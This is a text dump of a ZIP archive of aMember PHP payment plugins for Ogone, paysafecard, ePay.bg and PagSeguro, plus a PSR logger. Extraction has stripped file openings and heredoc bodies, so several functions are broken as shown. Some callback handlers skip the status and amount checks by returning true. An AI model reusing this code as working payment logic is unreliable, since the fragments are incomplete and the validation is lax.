1 => 'Each parameter followed by the pass phrase')); $form->addText('secret', array('class' => 'el-wide'))->setLabel('SHA-IN Signature'); $form->addText('secret_ipn', array('class' => 'el-wide'))->setLabel('SHA-OUT Signature'); $form->addText('alias_usage', array('class' => 'el-wide'))->setLabel("Alias usage\n" . 'required for recurring only'); $form->addAdvcheckbox('testing')->setLabel('Testing mode'); } public function isConfigured() { return strlen($this->getConfig('merchant_id')) && strlen($this->getConfig('secret')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { if($this->getConfig('hashing_method')) $utf='_utf8'; $a = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::SANDBOX_URL . @$utf . '.asp' : self::LIVE_URL . @$utf . '.asp'); $sha_id = $this->getConfig('secret'); $u = $invoice->getUser(); $vars = array( 'PSPID' => $this->getConfig('merchant_id'), 'AMOUNT' => $invoice->first_total * 100, 'CURRENCY' => $invoice->currency, 'LANGUAGE' => 'en_US', 'TITLE' => $invoice->getLineDescription(), 'ACCEPTURL' => $this->getReturnUrl(), 'DECLINEURL' => $this->getCancelUrl(), 'EXCEPTIONURL' => $this->getCancelUrl(), 'CANCELURL' => $this->getCancelUrl(), 'ORDERID' => $invoice->public_id, 'CN' => $u->getName(), 'OWNERADDRESS' => $u->street, 'OWNERCITY' => $u->city, 'OWNERZIP' => $u->zip, 'EMAIL' => $u->email, 'OPERATION' => "SAL", ); if($invoice->rebill_times) { $vars = array_merge($vars, array( 'ALIAS' => $this->getDi()->security->siteHash($invoice->public_id.$invoice->user_id), 'ALIASUSAGE' => $this->getConfig('alias_usage'), 'SUBSCRIPTION_ID' => $invoice->public_id, 'SUB_AMOUNT' => $invoice->second_total * 100, 'SUB_COM' => $invoice->getLineDescription(), 'SUB_ORDERID' => $invoice->public_id, 'SUB_STATUS' => 1, )); $period = new Am_Period($invoice->second_period); switch($period->getUnit()){ case Am_Period::DAY: $vars['SUB_PERIOD_UNIT'] = 'd'; break; case Am_Period::MONTH: $vars['SUB_PERIOD_UNIT'] = 'm'; break; case Am_Period::YEAR: $vars['SUB_PERIOD_UNIT'] = 'm'; break; } if($period->getUnit() == Am_Period::YEAR) $qty = 12; else $qty = 1; $vars['SUB_PERIOD_NUMBER'] = $qty * $period->getCount(); $start_date = $invoice->calculateRebillDate(1); if($period->getUnit() != Am_Period::DAY) { strtotime($vars); switch($period->getUnit()){ case Am_Period::MONTH: case Am_Period::YEAR: $vars['SUB_PERIOD_MOMENT'] = date('j',strtotime($start_date)); } } $vars['SUB_STARTDATE'] = $start_date; if($invoice->rebill_times != Product::RECURRING_REBILLS) $vars['SUB_ENDDATE'] = $invoice->calculateRebillDate($invoice->rebill_times); } $vars = array_filter($vars); ksort($vars); $tosha = ''; if($this->getConfig('hashing_method')) array_walk($vars, function(&$a, $b) use (&$tosha, $sha_id) {$tosha.=$b.'='.$a.$sha_id;}); else $tosha = $invoice->getLineDescription() . ($invoice->first_total * 100) . $invoice->currency . $this->getConfig('merchant_id') . 'SAL' . $sha_id; foreach($vars as $k => $v) $a->addParam ($k, $v); $a->SHASIGN = strtoupper(sha1($tosha)); $result->setAction($a); } public function isNotAcceptableForInvoice(Invoice $invoice) { if ($invoice->rebill_times) { if ($invoice->second_period == Am_Period::MAX_SQL_DATE) return ___('Can not handle this billing terms'); } return parent::isNotAcceptableForInvoice($invoice); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Ogone($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { $url = Am_Html::escape($this->getPluginUrl('ipn')); return << Technical information, set: 1. PostBack URL to $url 2. Make this request in background and differed. CUT; } } class Am_Paysystem_Transaction_Ogone extends Am_Paysystem_Transaction_Incoming { protected $vars; public function __construct($plugin, $request, $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); $this->vars = array(); foreach($this->request->getParams() as $k => $v) { if(preg_match('/(^plugin_id$)|(^action$)|(^module$)|(^controller$)|(^type$)/', $k)) { continue; } $this->vars[strtoupper($k)] = $v; } } public function getUniqId() { return $this->vars['PAYID']; } public function validateSource() { $vars = $this->vars; $hash = $vars['SHASIGN']; unset($vars['SHASIGN']); ksort($vars); $tosha = ''; $sha_id = $this->getPlugin()->getConfig('secret_ipn'); array_walk($vars, function(&$a, $b) use (&$tosha, $sha_id) {$tosha.=$b.'='.$a.$sha_id;}); return $hash == strtoupper(sha1($tosha)); } public function getAmount() { return $this->vars['AMOUNT']; } public function validateStatus() { return $this->vars['NCERROR'] == 0; } public function validateTerms() { $isFirst = $this->invoice->first_total && !$this->invoice->getPaymentsCount(); $expected = $isFirst ? $this->invoice->first_total : $this->invoice->second_total; return $expected <= $this->getAmount(); } public function findInvoiceId() { return $this->vars['ORDERID']; } public function processValidated() { switch ($this->vars['STATUS']) { case 5: case 9: $this->invoice->addPayment($this); break; case 7: case 8: $this->invoice->addRefund($this, $this->request->get('PAYID'), $this->getAmount()); break; } } }PK\<hAA"payment/paysafecard/Validators.phpnu[client = new SoapClient($endPoint); } catch (Exception $e) { throw new Exception('Error creating SoapClient: ' . $e->getMessage()); } } /** * Calls the CreateDisposition web service method. * * @param username * Username to use for the web service call. * @param password * Password to use for the web service call. * @param mtid * Merchant transaction id to use for the web service call. It must * be unique for each invocation. * @param subId * SubId to use for the web service call. The parameter is optional * and can be null. * @param amount * Amount to use for the web service call. * @param currency * Currency to use for the web service call. It must contain a 3 * letter ISO 4217 currency code. * @param okUrl * OKUrl to use for the web service call. * @param nokUrl * NOKurl to use for the web service call. * @param merchantClientId * ID of the client to use for the web service call. This is * merchant's internal id to identify the client. The parameter is * optional and can be null. * @param pnUrl * Payment notification URL to use for the web service call. The * parameter is optional and can be null. * @param clientIp * IP address of the client to use for the web service call. This is * the IP of the client when connecting to the merchant. The * parameter is optional and can be null. * @return Response of the CreateDisposition web service call. The call was * successful if resultCode and errorCode of the response are 0. For * list of possible error codes refer to merchant documentation. * @throws InvalidArgumentException * If required parameters are null or empty. */ public function createDisposition($username, $password, $mtid, $subId, $amount, $currency, $okUrl, $nokUrl, $merchantClientId, $pnUrl, $clientIp) { Validators::validateStringNotNull($username, 'username'); Validators::validateStringNotNull($password, 'password'); Validators::validateStringNotNull($mtid, 'mtid'); Validators::validateStringNotNull($okUrl, 'okUrl'); Validators::validateStringNotNull($nokUrl, 'nokUrl'); Validators::validateCurrency($currency); $params = array('username'=>$username, 'password'=>$password, 'mtid'=>$mtid, 'subId'=>$subId, 'amount'=>$amount, 'currency'=>strtoupper($currency), 'okUrl'=>$okUrl, 'nokUrl'=>$nokUrl, 'merchantclientid'=>$merchantClientId, 'pnUrl'=>$pnUrl, 'clientIp'=>$clientIp); $response = $this->client->createDisposition($params); return $response->createDispositionReturn; } /** * Calls the AssignCardToDisposition web service method. * * @param username * Username to use for the web service call. * @param password * Password to use for the web service call. * @param mtid * Merchant transaction id to use for the web service call. It must * be unique for each invocation. * @param subId * SubId to use for the web service call. The parameter is optional * and can be null. * @param amount * Amount to use for the web service call. * @param currency * Currency to use for the web service call. It must contain a 3 * letter ISO 4217 currency code. * @param pin * PIN number to use for the web service call. * @return Response of the AssignCardToDisposition web service call. The call * was successful if resultCode and errorCode of the response are 0. * For list of possible error codes refer to merchant documentation. * @throws InvalidArgumentException * If required parameters are null or empty. */ public function assignCardToDisposition($username, $password, $mtid, $subId, $amount, $currency, $pin) { Validators::validateStringNotNull($username, 'username'); Validators::validateStringNotNull($password, 'password'); Validators::validateStringNotNull($mtid, 'mtid'); Validators::validateStringNotNull($pin, 'pin'); Validators::validateCurrency($currency); $params = array('username'=>$username, 'password'=>$password, 'mtid'=>$mtid, 'subId'=>$subId, 'amount'=>$amount, 'currency'=>strtoupper($currency), 'pin'=>$pin); $response = $this->client->assignCardToDisposition($params); return $response->assignCardToDispositionReturn; } /** Calls the AssignCardsToDisposition web service method. * * @param username * Username to use for the web service call. * @param password * Password to use for the web service call. * @param mtid * Merchant transaction id to use for the web service call. It must * be unique for each invocation. * @param subId * SubId to use for the web service call. The parameter is optional * and can be null. * @param amount * Amount to use for the web service call. * @param currency * Currency to use for the web service call. It must contain a 3 * letter ISO 4217 currency code. * @param cards * Card information (pin, password) to use for the web service call. * At least one (1) card and at most ten (10) cards can be present in * the request. Card passwords are optional and should be * null if no password is specified for the given card. * @param locale * Locale to use for the web service call. The parameter is optional * and can be null. * @param acceptingTerms * Integer value indicating if the user accepts Paysafecard's terms * of use. Value should be 1 if user accepts terms of use. * @return Response of the AssignCardToDisposition web service call. The call * was successful if resultCode and errorCode of the response are 0. * For list of possible error codes refer to merchant documentation. * @throws InvalidArgumentException * If required parameters are null or empty. */ public function assignCardsToDisposition($username, $password, $mtid, $subId, $amount, $currency, $locale, $acceptingTerms, $cards) { Validators::validateStringNotNull($username, 'username'); Validators::validateStringNotNull($password, 'password'); Validators::validateStringNotNull($mtid, 'mtid'); Validators::validateCurrency($currency); Validators::validateCards($cards); $params = array('username'=>$username, 'password'=>$password, 'mtid'=>$mtid, 'subid'=>$subId, 'amount'=>$amount, 'currency'=>strtoupper($currency), 'locale'=>$locale, 'acceptingTerms'=>$acceptingTerms, 'cards'=>$cards); $response = $this->client->assignCardsToDisposition($params); return $response->assignCardsToDispositionReturn; } /** * Calls the ModifyDispositionValue web service method. * * @param username * Username to use for the web service call. * @param password * Password to use for the web service call. * @param mtid * Merchant transaction id to use for the web service call. It must * be unique for each invocation. * @param subId * SubId to use for the web service call. The parameter is optional * and can be null. * @param amount * Amount to use for the web service call. * @param currency * Currency to use for the web service call. It must contain a 3 * letter ISO 4217 currency code. * @return Response of the ModifyDispositionValue web service call. The call * was successful if resultCode and errorCode of the response are 0. * For list of possible error codes refer to merchant documentation. * @throws InvalidArgumentException * If required parameters are null or empty. */ public function modifyDispositionValue($username, $password, $mtid, $subId, $amount, $currency) { Validators::validateStringNotNull($username, 'username'); Validators::validateStringNotNull($password, 'password'); Validators::validateStringNotNull($mtid, 'mtid'); Validators::validateCurrency($currency); $params = array('username'=>$username, 'password'=>$password, 'mtid'=>$mtid, 'subid'=>$subId, 'amount'=>$amount, 'currency'=>strtoupper($currency)); $response = $this->client->modifyDispositionValue($params); return $response->modifyDispositionValueReturn; } /** * Calls the GetSerialNumbers web service method. * * @param username * Username to use for the web service call. * @param password * Password to use for the web service call. * @param mtid * Merchant transaction id to use for the web service call. It must * be unique for each invocation. * @param subId * SubId to use for the web service call. The parameter is optional * and can be null. * @param currency * Currency to use for the web service call. It must contain a 3 * letter ISO 4217 currency code. * @return Response of the GetSerialNumbers web service call. The call was * successful if resultCode and errorCode of the response are 0. For * list of possible error codes refer to merchant documentation. * @throws InvalidArgumentException * If required parameters are null or empty. */ public function getSerialNumbers($username, $password, $mtid, $subId, $currency) { Validators::validateStringNotNull($username, 'username'); Validators::validateStringNotNull($password, 'password'); Validators::validateStringNotNull($mtid, 'mtid'); Validators::validateCurrency($currency); $params = array('username'=>$username, 'password'=>$password, 'mtid'=>$mtid, 'subid'=>$subId, 'currency'=>strtoupper($currency)); $response = $this->client->getSerialNumbers($params); return $response->getSerialNumbersReturn; } /** * Calls GetDispositionRawState web service method. * * @param username * Username to use for the web service call. * @param password * Password to use for the web service call. * @param mtid * Merchant transaction id to use for the web service call. It must * be unique for each invocation. * @param subId * SubId to use for the web service call. The parameter is optional * and can be null. * @param currency * Currency to use for the web service call. It must contain a 3 * letter ISO 4217 currency code. * @return Response of the GetDispositionRawState web service call. The call * was successful if resultCode and errorCode of the response are 0. * For list of possible error codes refer to merchant documentation. * @throws InvalidArgumentException * If required parameters are null or empty. */ public function getDispositionRawState($username, $password, $mtid, $subId, $currency) { Validators::validateStringNotNull($username, 'username'); Validators::validateStringNotNull($password, 'password'); Validators::validateStringNotNull($mtid, 'mtid'); Validators::validateCurrency($currency); $params = array('username'=>$username, 'password'=>$password, 'mtid'=>$mtid, 'subid'=>$subId, 'currency'=>strtoupper($currency)); $response = $this->client->getDispositionRawState($params); return $response->getDispositionRawStateReturn; } /** * Calls ExecuteDebit web service method. * * @param username * Username to use for the web service call. * @param password * Password to use for the web service call. * @param mtid * Merchant transaction id to use for the web service call. It must * be unique for each invocation. * @param subId * SubId to use for the web service call. The parameter is optional * and can be null. * @param amount * Amount to use for the web service call. * @param currency * Currency to use for the web service call. It must contain a 3 * letter ISO 4217 currency code. * @param close * Close flag indicating if further debits will be executed or not. * If the close flag is 1 the disposition will be set to totally * consumed and no further debits are possible. * @param partialDebitId * PartialDebitId to use for the web service call. The parameter is * optional and can be null. * @ return Response of the ExecuteDebit web service call. The call was * successful if resultCode and errorCode of the response are 0. For * list of possible error codes refer to merchant documentation. * @throws InvalidArgumentException * If required parameters are null or empty. */ public function executeDebit($username, $password, $mtid, $subId, $amount, $currency, $close, $partialDebitId) { Validators::validateStringNotNull($username, 'username'); Validators::validateStringNotNull($password, 'password'); Validators::validateStringNotNull($mtid, 'mtid'); Validators::validateCurrency($currency); $params = array('username'=>$username, 'password'=>$password, 'mtid'=>$mtid, 'subid'=>$subId, 'amount'=>$amount, 'currency'=>strtoupper($currency), 'close'=>$close, 'partialDebitId'=>$partialDebitId); $response = $this->client->executeDebit($params); return $response->executeDebitReturn; } /** * Calls the GetMid SOPG web service method. * * @param username * Username to use for the web service call. * @param password * Password to use for the web service call. * @param currency * Currency to use for the web service call. It must contain a 3 * letter ISO 4217 currency code. * @return Response containing mid configured for the given currency. The call * was successful if resultCode and errorCode of the response are 0. * For list of possible error codes refer to merchant documentation. * @throws InvalidArgumentException * If required parameters are null or empty. */ public function getMid($username, $password, $currency) { Validators::validateStringNotNull($username, 'username'); Validators::validateStringNotNull($password, 'password'); Validators::validateCurrency($currency); $params = array('username'=>$username, 'password'=>$password, 'currency'=>strtoupper($currency)); $response = $this->client->getMid($params); return $response->getMidReturn; } } PK\NM$-$-#payment/paysafecard/paysafecard.phpnu[addText('login')->setLabel('paysafecard SOPG Login'); $form->addText('password')->setLabel('paysafecard SOPG Password'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } function getSupportedCurrencies() { return array('USD', 'EUR', 'RON'); } function generateMtid() { $time = gettimeofday(); $mtid = $time['sec']; $mtid .= $time['usec']; return $mtid; } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($request->getActionName() == 'cancelpaysafecart'){ // SEE par.3 @list($id, $code) = explode('-', filterId($request->getFiltered('id')), 2); $invoice = Am_Di::getInstance()->InvoiceTable->findFirstByPublicId(filterId($id)); if (!$invoice) throw new Am_Exception_InputError("No invoice found [$id]"); $invoice->setCancelled(true); $a = new Am_Paysystem_Action_HtmlTemplate_Paysafecard($this->getDir(), 'payment-paysafecard-cancel.phtml'); $a->process(new Am_Mvc_Controller($request, $response, $invokeArgs)); // see par.3 } else parent::directAction($request, $response, $invokeArgs); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { include_once(dirname(__FILE__).'/SOPGClassicMerchantClient.php'); $client = new SOPGClassicMerchantClient($this->getConfig('testing') ? self::TEST_API_URL : self::LIVE_API_URL); $mtid = $invoice->public_id;//$this->generateMtid(); // SEE par.2 if ($invoice->first_total > 1000) throw new InvalidArgumentException('The maximum amount value of dispositions is 1000.00'); // see par.2 $request = array(//$username, $password, $mtid, $subId, $amount, $currency, $okUrl, $nokUrl, $merchantClientId, $pnUrl, $clientIp $this->getConfig('login'), $this->getConfig('password'), $mtid, null, sprintf('%.2f',$invoice->first_total), $invoice->currency, urlencode($this->getPluginUrl('thanks')."?mtid=".$invoice->public_id), // SEE par.3 urlencode($this->getPluginUrl('cancelpaysafecart'). "?id=" . $invoice->getSecureId('CANCEL')), //$this->getCancelUrl(), // see par.3 // SEE par.1 $invoice->getUserId(), //$invoice->public_id, // see par.1 urlencode($this->getPluginUrl()), null ); $this->logRequest($request); $response = call_user_func_array(array($client,'createDisposition'), $request); $this->logResponse(get_object_vars($response)); if($response->resultCode != 0 || $response->errorCode != 0) { // SEE par.4 $result->setErrorMessages(array('Transaction could not be initiated due to connection problems.')); //$result->setErrorMessages(array('Error during request to paysafecard server')); // see par.4 return; } $a = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::TEST_REDIRECT_URL : self::LIVE_REDIRECT_URL); $a->mid = $response->mid; $a->mtid = $mtid; $a->amount = sprintf('%.2f',$invoice->first_total); $a->currency = $invoice->currency; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Paysafecard($this, $request, $response, $invokeArgs); } function createThanksTransaction(\Am_Mvc_Request $request, \Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Paysafecard_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function getReadme() { return <<request->get('mtid'); } public function getUniqId() { return $this->request->get('mtid'); } public function validateSource() { $mtid = $this->request->get('mtid'); //serialNumbers=0000000001200000;EUR;7.50;00002;0000000001300000;EUR;5.50;00002; // if(!$vars['serialNumbers']) // { // $this->getPlugin()->getDi()->errorLogTable->log('PSC: bad request from PSC server'); // throw new Am_Exception_Paysystem_TransactionSource('Incorrect transaction received. Please contact webmaster for details'); // } $invoice = $this->getPlugin()->getDi()->invoiceTable->findFirstByPublicId($mtid); if(!$invoice) { $this->getPlugin()->getDi()->errorLogTable->log('PSC: not found invoice by public_id [' . $mtid . ']'); throw new Am_Exception_Paysystem_TransactionSource('Incorrect transaction received. Please contact webmaster for details'); } include_once(dirname(__FILE__).'/SOPGClassicMerchantClient.php'); // getSerailNumbers // resultCode=0 errorCode=0 dispositionState = S | E -> executeDebit // dispositionState = O -> payment already done; return true; $client = new SOPGClassicMerchantClient($this->getPlugin()->getConfig('testing') ? Am_Paysystem_Paysafecard::TEST_API_URL : Am_Paysystem_Paysafecard::LIVE_API_URL); $request = array( $this->getPlugin()->getConfig('login'), $this->getPlugin()->getConfig('password'), $mtid, null, $invoice->currency ); $this->getPlugin()->logRequest($request); try { $serialsResponse = call_user_func_array(array($client,'getSerialNumbers'), $request); $this->getPlugin()->logResponse(get_object_vars($serialsResponse)); }catch(Exception $e) { $this->getPlugin()->getDi()->errorLogTable->logException($e); throw new Am_Exception_Paysystem_TransactionSource('Incorrect transaction received. Please contact webmaster for details'); } if($serialsResponse->resultCode == 0 && $serialsResponse->response->errorCode == 0){ switch($serialsResponse->dispositionState) { case 'S' : case 'E' : $request = array(//$username, $password, $mtid, $subId, $amount, $currency, $close, $partialDebitId $this->getPlugin()->getConfig('login'), $this->getPlugin()->getConfig('password'), $mtid, null, $invoice->first_total, //$this->subvars['2'], $invoice->currency, //$this->subvars['1'], 1, null ); $this->getPlugin()->logRequest($request); try { $this->response = call_user_func_array(array($client,'executeDebit'), $request); }catch(Exception $e) { $this->getPlugin()->getDi()->errorLogTable->logException($e); throw new Am_Exception_Paysystem_TransactionSource('Incorrect transaction received. Please contact webmaster for details'); } $this->getPlugin()->logResponse(get_object_vars($this->response)); if(($this->response->resultCode != 0) || ($this->response->errorCode != 0)) return false; case 'O' : return true; } } throw new Am_Exception_Paysystem_TransactionSource('Incorrect transaction received. Please contact webmaster for details'); } public function validateStatus() { // all checked at validateSource return true; } public function validateTerms() { // all checked at validateSource return true; } } class Am_Paysystem_Transaction_Paysafecard_Thanks extends Am_Paysystem_Transaction_Paysafecard { function process() { try { parent::process(); } catch (Am_Exception_Paysystem_TransactionAlreadyHandled $e) { // do nothing if transaction is already handled } if (Am_Di::getInstance()->config->get('auto_login_after_signup')) Am_Di::getInstance()->auth->setUser($this->invoice->getUser(), $this->request->getClientIp()); } } class Am_Paysystem_Action_HtmlTemplate_Paysafecard extends Am_Paysystem_Action_HtmlTemplate { protected $_template; protected $_path; public function __construct($path, $template) { $this->_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->renderScript($this->_template); } } PK\sա<payment/paysafecard/scripts/payment-paysafecard-cancel.phtmlnu[setLayout('layout.phtml'); ?>
    PK\Z:99payment/epay-bg.phpnu[ipn_url = $this->getPluginUrl('ipn'); $this->submit_url = $this->getConfig('testing') ? 'https://devep2.datamax.bg/ep2/epay2_demo/' : 'https://www.epay.bg/'; } public function _initSetupForm(Am_Form_Setup $form) { $form->addText("min", array('class' => 'el-wide')) ->setLabel("MIN\n" . "This value is provided by ePay.bg") ->addRule('regex', 'MIN must be 10 hexadecimal digits', '/^[A-F0-9]{10}$/') ->addRule('required'); $form->addPassword("secret", array('class' => 'el-wide')) ->setLabel("Secret\n" . "This value is provided by ePay.bg") ->addRule('required'); $form->addAdvCheckbox("testing") ->setLabel("Is it a Sandbox(Testing) Account?"); } public function isConfigured() { return $this->getConfig('min') && $this->getConfig('secret'); } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $product = $invoice->getProducts()[0]; $secret = $this->config['secret']; $min = $this->config['min']; $invoice_id = $invoice->invoice_id; $sum = $invoice->first_total - $invoice->first_tax - $invoice->first_shipping; # XXX Expiration date '01.08.2020' $exp_date = strftime("%d.%m.%Y", time() + 7 * 24 * 3600); $descr = strip_tags($product->getDescription()); $data = "MIN={$min}\nINVOICE={$invoice_id}\nAMOUNT={$sum}\nEXP_TIME={$exp_date}\nDESCR={$descr}\nDATA"; $ENCODED = base64_encode($data); $CHECKSUM = $this->hmac('sha1', $ENCODED, $secret); $arr['PAGE'] = 'paylogin'; $arr['ENCODED'] = $ENCODED; $arr['CHECKSUM'] = $CHECKSUM; $arr['URL_OK'] = $this->getReturnUrl(); $arr['URL_CANCEL'] = $this->getCancelUrl(); $arr['AMOUNT'] = $sum; $action = new Am_Paysystem_Action_Form($this->submit_url); //$action->setAutoSubmit(false); foreach ($arr as $k => $v) { $action->$k = $v; } $result->setAction($action); } public function createTransaction($request, $response, array $invokeArgs) { return new Am_Paysystem_Transaction_EpayBg($this, $request, $response, $invokeArgs); } public function hmac($algo, $data, $passwd) { /* md5 and sha1 only */ $algo = strtolower($algo); $p = array('md5' => 'H32', 'sha1' => 'H40'); if (strlen($passwd) > 64) $passwd = pack($p[$algo], $algo($passwd)); if (strlen($passwd) < 64) $passwd = str_pad($passwd, 64, chr(0)); $ipad = substr($passwd, 0, 64) ^ str_repeat(chr(0x36), 64); $opad = substr($passwd, 0, 64) ^ str_repeat(chr(0x5C), 64); return($algo($opad . pack($p[$algo], $algo($ipad . $data)))); } public function getReadme() { return <<ePay payment plugin installation 1. Configure plugin at aMember CP -> Setup/Configuration -> ePay 2. Set PostBack URL in ePay control panel to $this->ipn_url CUT; } } class Am_Paysystem_Transaction_EpayBg extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { $vars = $this->request->getPost(); return crc32($vars['encoded']); } public function process() { if ($this->request->getMethod() == Am_Mvc_Request::METHOD_GET) { return true; } $vars = $this->request->getPost(); $this->log->add( "ePay DEBUG: process_thanks \$vars=
    " . print_r($vars, true) ); $this->validateSource(); $data = base64_decode($vars['encoded']); $lines_arr = split("\n", $data); $info_data = ''; foreach ($lines_arr as $line) { if (preg_match( "/^INVOICE=(\d+):STATUS=(PAID|DENIED|EXPIRED)(:PAY_TIME=(\d+):STAN=(\d+):BCODE=([0-9a-zA-Z]+))?$/", $line, $regs)) { $invoice = $regs[1]; $status = $regs[2]; $pay_date = $regs[4]; # XXX if PAID $stan = $regs[5]; # XXX if PAID $bcode = $regs[6]; # XXX if PAID # XXX process $invoice, $status, $pay_date, $stan, $bcode here $paymentData = Am_Di::getInstance()->invoiceTable->load($invoice); if (!$paymentData) { $info_data .= "INVOICE=$invoice:STATUS=NO\n"; } elseif ('PAID' == $status && $paymentData->status != Invoice::PAID) { $err = $paymentData->addPayment($this); $info_data .= ($err) ? "INVOICE=$invoice:STATUS=OK\n" : "INVOICE=$invoice:STATUS=ERR\n"; } else if ('PAID' == $status && $paymentData->status == Invoice::PAID) { $info_data .= "INVOICE=$invoice:STATUS=OK\n"; } } } $this->log->add($info_data); $this->response->setBody($info_data . "\n"); } public function validateSource() { $vars = $this->request->getPost(); if (!$vars['encoded'] || !$vars['checksum']) { throw new Am_Exception_Paysystem_TransactionEmpty( "encoded or checksum are empty"); } $ENCODED = $vars['encoded']; $CHECKSUM = $vars['checksum']; $secret = $this->plugin->getConfig('secret'); $hmac = $this->plugin->hmac('sha1', $ENCODED, $secret); if ($hmac == $CHECKSUM) { return true; } else { $data = "Checksum comparision:\n"; $data .= $hmac . "\n"; $data .= $CHECKSUM; $this->plugin->logRequest($data); throw new Am_Exception_Paysystem_TransactionSource("" . "IPN seems to be received from unknown source, not from the paysystem
    " . "CHECKSUM: $CHECKSUM
    " . "RESULT: $hmac"); } } public function validateStatus() { return true; } public function validateTerms() { return true; } }PK\$payment/pagseguro-v2.phpnu[addText('merchant')->setLabel('Merchant Email'); $form->addText('token')->setLabel('Security Token'); $form->addAdvCheckbox("testing") ->setLabel("Is it a Sandbox(Testing) Account?"); } function getSupportedCurrencies() { return array('BRL'); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function getHost() { return $this->getConfig('testing') ? self::SANDBOX_HOST : self::LIVE_HOST; } function getWsHost() { return $this->getConfig('testing') ? self::SANDBOX_WS_HOST : self::LIVE_WS_HOST; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $req = new Am_HttpRequest('https://' . $this->getWsHost() . '/v2/checkout', Am_HttpRequest::METHOD_POST); $p = array(); $p['email'] = $this->getConfig('merchant'); $p['token'] = $this->getConfig('token'); $p['currency'] = strtoupper($invoice->currency); $p['reference'] = $invoice->public_id; $p['receiverEmail'] = $this->getConfig('merchant'); $i = 1; foreach ($invoice->getItems() as $item) { $p['itemId' . $i] = $item->item_id; $p['itemDescription' . $i] = $item->item_title; $p['itemAmount' . $i] = $item->first_total; $p['itemQuantity' . $i] = $item->qty; $i++; } $p['senderEmail'] = $invoice->getUser()->email; $p['senderName'] = $invoice->getUser()->getName(); $p['redirectURL'] = $this->getReturnUrl(); $p['notificationURL'] = $this->getPluginUrl('ipn'); $p['maxUses'] = 1; $p['maxAge'] = 180; $req->addPostParameter($p); $this->logRequest($req); $res = $req->send(); $this->logResponse($res); if (!($xml = simplexml_load_string($res->getBody()))) { throw new Am_Exception('Incorrect XML recieved'); } if ($xml->getName() == 'errors') throw new Am_Exception(sprintf('%s: %s', $xml->errors[0]->code, $xml->errors[0]->message)); if ($res->getStatus() != 200) throw new Am_Exception_FatalError(sprintf('Incorrect Responce Status From Paysystem [%s]', $res->getStatus())); $code = (string) $xml->code; $a = new Am_Paysystem_Action_Redirect('https://' . $this->getHost() . '/v2/checkout/payment.html?code=' . $code); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_PagseguroV2($this, $request, $response, $invokeArgs); } function getReadme() { $url = Am_Html::escape($this->getPluginUrl('ipn')); return <<PagSecuro payment plugin configuration http://pagseguro.uol.com.br Activate "NOTIFICAÇÃO DE TRANSAÇÕES" at your PagSeguro merchant account: $url Also you must set up your account to only accept payment requisitions generated via API. CUT; } } class Am_Paysystem_Transaction_PagseguroV2 extends Am_Paysystem_Transaction_Incoming { const STATUS_PAY = 3; const STATUS_RETURNED = 6; protected $xml; public function findInvoiceId() { return (string) $this->xml->reference; } public function getUniqId() { return (string) $this->xml->code; } public function getAmount() { return (string) $this->xml->grossAmount; } public function validateSource() { $code = $this->request->getPost('notificationCode'); if (!$code) return false; $req = new Am_HttpRequest("https://" . $this->plugin->getWsHost() . "/v2/transactions/notifications/$code?" . http_build_query(array( 'email' => $this->plugin->getConfig('merchant'), 'token' => $this->plugin->getConfig('token') ))); $this->plugin->logRequest($req); $res = $req->send(); $this->plugin->logResponse($res); if ($res->getStatus() != 200) return false; $this->xml = simplexml_load_string($res->getBody()); if (!$this->xml) return false; return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { switch ((string) $this->xml->status) { case self::STATUS_PAY : $this->invoice->addPayment($this); break; case self::STATUS_RETURNED : $this->invoice->addRefund($this, (string) $this->xml->code); break; } } } PK\BN*payment/amazon-instant-access/AmLogger.phpnu[errorLogTable->log("[Amazon Istant Access " . strtoupper($level) . "-log]: $message."); } } PK\b__:payment/amazon-instant-access/Psr/Log/LoggerAwareTrait.phpnu[logger = $logger; } } PK\ X1``Bpayment/amazon-instant-access/Psr/Log/InvalidArgumentException.phpnu[log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * @return null */ public function alert($message, array $context = array()) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * @return null */ public function critical($message, array $context = array()) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * @return null */ public function error($message, array $context = array()) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * @return null */ public function warning($message, array $context = array()) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param array $context * @return null */ public function notice($message, array $context = array()) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * @return null */ public function info($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param array $context * @return null */ 